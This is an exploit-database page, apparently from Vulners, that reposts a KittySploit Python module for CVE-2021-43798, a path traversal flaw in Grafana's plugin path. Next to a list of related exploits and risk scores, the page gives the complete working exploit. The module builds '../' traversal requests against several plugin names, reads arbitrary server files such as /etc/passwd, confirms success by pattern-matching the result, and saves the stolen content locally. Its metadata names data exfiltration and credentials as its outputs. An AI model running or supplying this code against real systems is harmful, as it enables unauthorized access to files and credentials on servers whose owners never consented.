Lucene search
+L

Grafana Plugin Path Traversal LFI (CVE-2021-43798)

🗓️ 05 Oct 2026 14:20:30Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Directory traversal in Grafana /public/plugins/NAME/ allows reading arbitrary local files.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for Path Traversal in Grafana
21 Dec 202314:24
–githubexploit
githubexploit
GithubExploit
Exploit for Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) in Zulip
8 Dec 202100:47
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Grafana
7 Dec 202112:47
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Grafana
7 Dec 202114:06
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Grafana
8 Dec 202114:14
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Grafana
17 Dec 202107:03
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Grafana
7 Dec 202115:11
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Grafana
4 Mar 202418:32
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Grafana
7 Dec 202108:59
–githubexploit
githubexploit
GithubExploit
Exploit for Path Traversal in Grafana
2 Jun 202619:27
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Grafana plugin path traversal LFI (CVE-2021-43798)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Grafana Plugin Path Traversal LFI (CVE-2021-43798)',
        'description': (
            'Exploits CVE-2021-43798 in Grafana 8.x: directory traversal via '
            '/public/plugins/NAME/ allows reading arbitrary local files.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2021-43798'],
        'platform': Platform.MULTI,
        'references': [
            'https://nvd.nist.gov/vuln/detail/CVE-2021-43798',
        ],
        'tags': ['grafana', 'lfi', 'file-read', 'kev'],
        'agent': {
            'risk': 'high',
            'effects': ['data_exfiltration'],
            'expected_requests': 3,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read', 'credentials'],
            'chain': {
                'suggested_followups': ['scanner/http/cve_2021_43798_detect'],
            },
        },
    }

    plugin = OptString('alertlist', 'Installed plugin folder name', required=False)
    file_path = OptString('/etc/passwd', 'Absolute path to read', required=True)
    output_file = OptString('', 'Local output file', required=False)

    def _traversal_path(self, remote: str) -> str:
        plugin = str(self.plugin or 'alertlist').strip() or 'alertlist'
        depth = '../' * 20
        remote = remote if remote.startswith('/') else f'/{remote}'
        return f'/public/plugins/{plugin}/{depth}{remote.lstrip("/")}'

    def execute(self, remote_path: str) -> str:
        primary = str(self.plugin or 'alertlist').strip() or 'alertlist'
        for plugin in (primary, 'prometheus', 'grafana-clock-panel'):
            path = f'/public/plugins/{plugin}/{"../" * 20}{remote_path.lstrip("/")}'
            r = self.http_request(method='GET', path=path, allow_redirects=False)
            if r and r.status_code == 200 and (r.text or '').strip():
                return r.text or ''
        return ''

    def check(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if re.search(r'root:.*:0:', body or '') or 'grafana.sock' in (body or ''):
            return {'vulnerable': True, 'reason': 'CVE-2021-43798 file read confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'Traversal did not return file content', 'confidence': 'medium'}

    def run(self):
        target = str(self.file_path or '/etc/passwd')
        print_status(f'Reading {target} ...')
        body = self.execute(target)
        if not body:
            print_error('Empty response')
            return False
        out = str(self.output_file or '').strip()
        if out:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
            print_success(f'Wrote {len(body)} bytes to {out}')
        else:
            print_success(body[:4000])
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Oct 2026 14:20Current
8.4High risk
Vulners AI Score8.4
CVSS 25
CVSS 3.17.5
EPSS0.88503
SSVC
0